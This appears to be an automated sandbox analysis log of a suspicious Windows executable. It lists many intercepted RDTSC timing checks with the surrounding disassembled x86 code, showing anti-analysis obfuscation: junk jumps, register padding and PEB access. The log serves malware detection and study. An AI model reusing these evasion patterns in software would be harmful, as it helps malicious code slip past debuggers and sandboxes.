Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78900B0 second address: 78900FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 20h 0x00000005 push eax 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a sub esp, 18h 0x0000000d jmp 00007F3FC515B342h 0x00000012 xchg eax, ebx 0x00000013 pushad 0x00000014 mov ebx, 6A22D1B0h 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F3FC515B346h 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F3FC515B33Ah 0x0000002a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78900FD second address: 7890101 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890101 second address: 7890107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890107 second address: 7890129 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 mov ch, 0Eh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebx, dword ptr [eax+10h] 0x0000000d pushad 0x0000000e mov si, bx 0x00000011 mov cl, dh 0x00000013 popad 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3FC4805ACBh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890129 second address: 789012F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789012F second address: 7890133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890133 second address: 7890137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890137 second address: 789016D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx edx, cx 0x0000000f pushfd 0x00000010 jmp 00007F3FC4805AD4h 0x00000015 sub cx, 7118h 0x0000001a jmp 00007F3FC4805ACBh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789016D second address: 789019A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3FC515B33Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789019A second address: 78901A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78901A0 second address: 78901B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [761C06ECh] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78901B1 second address: 78901CD instructions: 0x00000000 rdtsc 0x00000002 movzx eax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 mov edi, esi 0x0000000a pop ecx 0x0000000b popad 0x0000000c test esi, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3FC4805ACCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78901CD second address: 7890217 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F3FC515B347h 0x0000000b add cx, BDFEh 0x00000010 jmp 00007F3FC515B349h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 jne 00007F3FC515C110h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890217 second address: 789021E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789021E second address: 789023B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B342h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789023B second address: 789023F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789023F second address: 7890245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890245 second address: 78902AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3FC4805ACBh 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F3FC4805AD4h 0x00000017 xor si, 90E8h 0x0000001c jmp 00007F3FC4805ACBh 0x00000021 popfd 0x00000022 mov ebx, ecx 0x00000024 popad 0x00000025 call dword ptr [76190B60h] 0x0000002b mov eax, 758CD620h 0x00000030 ret 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F3FC4805AD1h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78902AD second address: 7890310 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B341h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000044h 0x0000000b pushad 0x0000000c jmp 00007F3FC515B33Ch 0x00000011 pushfd 0x00000012 jmp 00007F3FC515B342h 0x00000017 add si, 88D8h 0x0000001c jmp 00007F3FC515B33Bh 0x00000021 popfd 0x00000022 popad 0x00000023 pop edi 0x00000024 pushad 0x00000025 movzx ecx, bx 0x00000028 mov ecx, edi 0x0000002a popad 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F3FC515B33Fh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890310 second address: 78903FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3FC4805ACFh 0x00000009 and esi, 01D6A8FEh 0x0000000f jmp 00007F3FC4805AD9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F3FC4805AD0h 0x0000001b and esi, 3D11F7F8h 0x00000021 jmp 00007F3FC4805ACBh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a mov dword ptr [esp], edi 0x0000002d pushad 0x0000002e movzx ecx, dx 0x00000031 call 00007F3FC4805AD1h 0x00000036 call 00007F3FC4805AD0h 0x0000003b pop eax 0x0000003c pop edx 0x0000003d popad 0x0000003e push dword ptr [eax] 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F3FC4805ACCh 0x00000047 adc ecx, 04FC5CB8h 0x0000004d jmp 00007F3FC4805ACBh 0x00000052 popfd 0x00000053 jmp 00007F3FC4805AD8h 0x00000058 popad 0x00000059 mov eax, dword ptr fs:[00000030h] 0x0000005f pushad 0x00000060 jmp 00007F3FC4805ACEh 0x00000065 mov edx, esi 0x00000067 popad 0x00000068 push dword ptr [eax+18h] 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F3FC4805AD3h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789042C second address: 7890430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890430 second address: 7890436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890566 second address: 789056A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789056A second address: 78905AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esi+0Ch], eax 0x0000000a pushad 0x0000000b call 00007F3FC4805ACFh 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 mov bl, 19h 0x00000015 popad 0x00000016 mov eax, dword ptr [ebx+4Ch] 0x00000019 pushad 0x0000001a movzx eax, bx 0x0000001d mov ax, dx 0x00000020 popad 0x00000021 mov dword ptr [esi+10h], eax 0x00000024 jmp 00007F3FC4805ACBh 0x00000029 mov eax, dword ptr [ebx+50h] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78905AB second address: 78905C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F3FC515B341h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78905C2 second address: 78905C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78905C8 second address: 78905FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+14h], eax 0x0000000b pushad 0x0000000c movzx ecx, dx 0x0000000f mov bl, 28h 0x00000011 popad 0x00000012 mov eax, dword ptr [ebx+54h] 0x00000015 jmp 00007F3FC515B346h 0x0000001a mov dword ptr [esi+18h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78905FC second address: 7890602 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890602 second address: 7890608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890608 second address: 789060C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789060C second address: 789063A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+58h] 0x0000000b jmp 00007F3FC515B33Ah 0x00000010 mov dword ptr [esi+1Ch], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 call 00007F3FC515B33Dh 0x0000001b pop eax 0x0000001c mov dx, 92C4h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789063A second address: 7890640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890640 second address: 7890644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890644 second address: 7890648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890648 second address: 7890659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+5Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890659 second address: 789065F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789065F second address: 78906E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 mov ebx, 4468C842h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esi+20h], eax 0x00000011 pushad 0x00000012 call 00007F3FC515B33Fh 0x00000017 movzx eax, di 0x0000001a pop ebx 0x0000001b jmp 00007F3FC515B342h 0x00000020 popad 0x00000021 mov eax, dword ptr [ebx+60h] 0x00000024 jmp 00007F3FC515B340h 0x00000029 mov dword ptr [esi+24h], eax 0x0000002c jmp 00007F3FC515B340h 0x00000031 mov eax, dword ptr [ebx+64h] 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 pushfd 0x00000038 jmp 00007F3FC515B33Ch 0x0000003d jmp 00007F3FC515B345h 0x00000042 popfd 0x00000043 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78906E6 second address: 789074D instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bl, ch 0x00000008 popad 0x00000009 mov dword ptr [esi+28h], eax 0x0000000c jmp 00007F3FC4805ACFh 0x00000011 mov eax, dword ptr [ebx+68h] 0x00000014 jmp 00007F3FC4805AD6h 0x00000019 mov dword ptr [esi+2Ch], eax 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F3FC4805ACEh 0x00000023 sbb cx, 7A88h 0x00000028 jmp 00007F3FC4805ACBh 0x0000002d popfd 0x0000002e mov cx, D2FFh 0x00000032 popad 0x00000033 mov ax, word ptr [ebx+6Ch] 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789074D second address: 7890764 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B343h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890764 second address: 78907C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [esi+30h], ax 0x0000000d jmp 00007F3FC4805ACEh 0x00000012 mov ax, word ptr [ebx+00000088h] 0x00000019 jmp 00007F3FC4805AD0h 0x0000001e mov word ptr [esi+32h], ax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F3FC4805AD7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78907C7 second address: 78907F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+0000008Ch] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3FC515B33Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78907F9 second address: 78907FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78907FF second address: 7890803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890803 second address: 78908FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+34h], eax 0x0000000b jmp 00007F3FC4805ACFh 0x00000010 mov eax, dword ptr [ebx+18h] 0x00000013 jmp 00007F3FC4805AD6h 0x00000018 mov dword ptr [esi+38h], eax 0x0000001b jmp 00007F3FC4805AD0h 0x00000020 mov eax, dword ptr [ebx+1Ch] 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F3FC4805ACEh 0x0000002a jmp 00007F3FC4805AD5h 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F3FC4805AD0h 0x00000036 adc cl, FFFFFFB8h 0x00000039 jmp 00007F3FC4805ACBh 0x0000003e popfd 0x0000003f popad 0x00000040 mov dword ptr [esi+3Ch], eax 0x00000043 pushad 0x00000044 mov bx, si 0x00000047 mov cx, E6E7h 0x0000004b popad 0x0000004c mov eax, dword ptr [ebx+20h] 0x0000004f pushad 0x00000050 call 00007F3FC4805AD8h 0x00000055 movzx ecx, dx 0x00000058 pop edx 0x00000059 mov dx, ax 0x0000005c popad 0x0000005d mov dword ptr [esi+40h], eax 0x00000060 jmp 00007F3FC4805AD6h 0x00000065 lea eax, dword ptr [ebx+00000080h] 0x0000006b jmp 00007F3FC4805AD0h 0x00000070 push 00000001h 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78908FA second address: 7890917 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890917 second address: 789091D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789091D second address: 7890921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890921 second address: 7890925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890925 second address: 78909A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F3FC515B344h 0x0000000e mov dword ptr [esp], eax 0x00000011 pushad 0x00000012 call 00007F3FC515B33Eh 0x00000017 push esi 0x00000018 pop ebx 0x00000019 pop eax 0x0000001a pushfd 0x0000001b jmp 00007F3FC515B347h 0x00000020 and eax, 5244120Eh 0x00000026 jmp 00007F3FC515B349h 0x0000002b popfd 0x0000002c popad 0x0000002d lea eax, dword ptr [ebp-10h] 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F3FC515B33Dh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78909A2 second address: 78909B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC4805ACCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78909B2 second address: 78909B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890A49 second address: 7890A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890A4D second address: 7890A95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B340h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F3FC515B342h 0x0000000f add ecx, 5C2F3F98h 0x00000015 jmp 00007F3FC515B33Bh 0x0000001a popfd 0x0000001b popad 0x0000001c js 00007F4033A09F52h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov si, 4C9Dh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890A95 second address: 7890A9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890A9B second address: 7890A9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890A9F second address: 7890AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp-0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3FC4805ACCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890AB8 second address: 7890AFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B33Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c jmp 00007F3FC515B346h 0x00000011 lea eax, dword ptr [ebx+78h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3FC515B347h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890AFC second address: 7890BA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3FC4805ACFh 0x00000009 sub ecx, 35FAA07Eh 0x0000000f jmp 00007F3FC4805AD9h 0x00000014 popfd 0x00000015 mov ebx, ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push 00000001h 0x0000001c jmp 00007F3FC4805ACAh 0x00000021 nop 0x00000022 pushad 0x00000023 movzx ecx, di 0x00000026 pushfd 0x00000027 jmp 00007F3FC4805AD3h 0x0000002c or si, FB3Eh 0x00000031 jmp 00007F3FC4805AD9h 0x00000036 popfd 0x00000037 popad 0x00000038 push eax 0x00000039 jmp 00007F3FC4805AD1h 0x0000003e nop 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F3FC4805AD8h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890BA8 second address: 7890BB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B33Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890BB7 second address: 7890BD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-08h] 0x0000000b pushad 0x0000000c mov di, si 0x0000000f mov dl, ah 0x00000011 popad 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890BD0 second address: 7890BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890BD4 second address: 7890BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890C66 second address: 7890C7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F4033A09D61h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890C7A second address: 7890C8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805ACCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890C8A second address: 7890C8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890C8F second address: 7890CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F3FC4805AD7h 0x0000000a jmp 00007F3FC4805AD3h 0x0000000f popfd 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov eax, dword ptr [ebp-04h] 0x00000016 jmp 00007F3FC4805AD6h 0x0000001b mov dword ptr [esi+08h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F3FC4805AD7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890CF7 second address: 7890DAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3FC515B33Fh 0x00000008 pop esi 0x00000009 mov dx, D33Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 lea eax, dword ptr [ebx+70h] 0x00000013 pushad 0x00000014 pushad 0x00000015 mov edx, 6EAB8A72h 0x0000001a pushfd 0x0000001b jmp 00007F3FC515B343h 0x00000020 or si, B06Eh 0x00000025 jmp 00007F3FC515B349h 0x0000002a popfd 0x0000002b popad 0x0000002c mov cx, 4DF7h 0x00000030 popad 0x00000031 push 00000001h 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F3FC515B348h 0x0000003a or esi, 3BC92F18h 0x00000040 jmp 00007F3FC515B33Bh 0x00000045 popfd 0x00000046 mov cx, A6CFh 0x0000004a popad 0x0000004b nop 0x0000004c jmp 00007F3FC515B342h 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F3FC515B33Eh 0x00000059 rdtsc
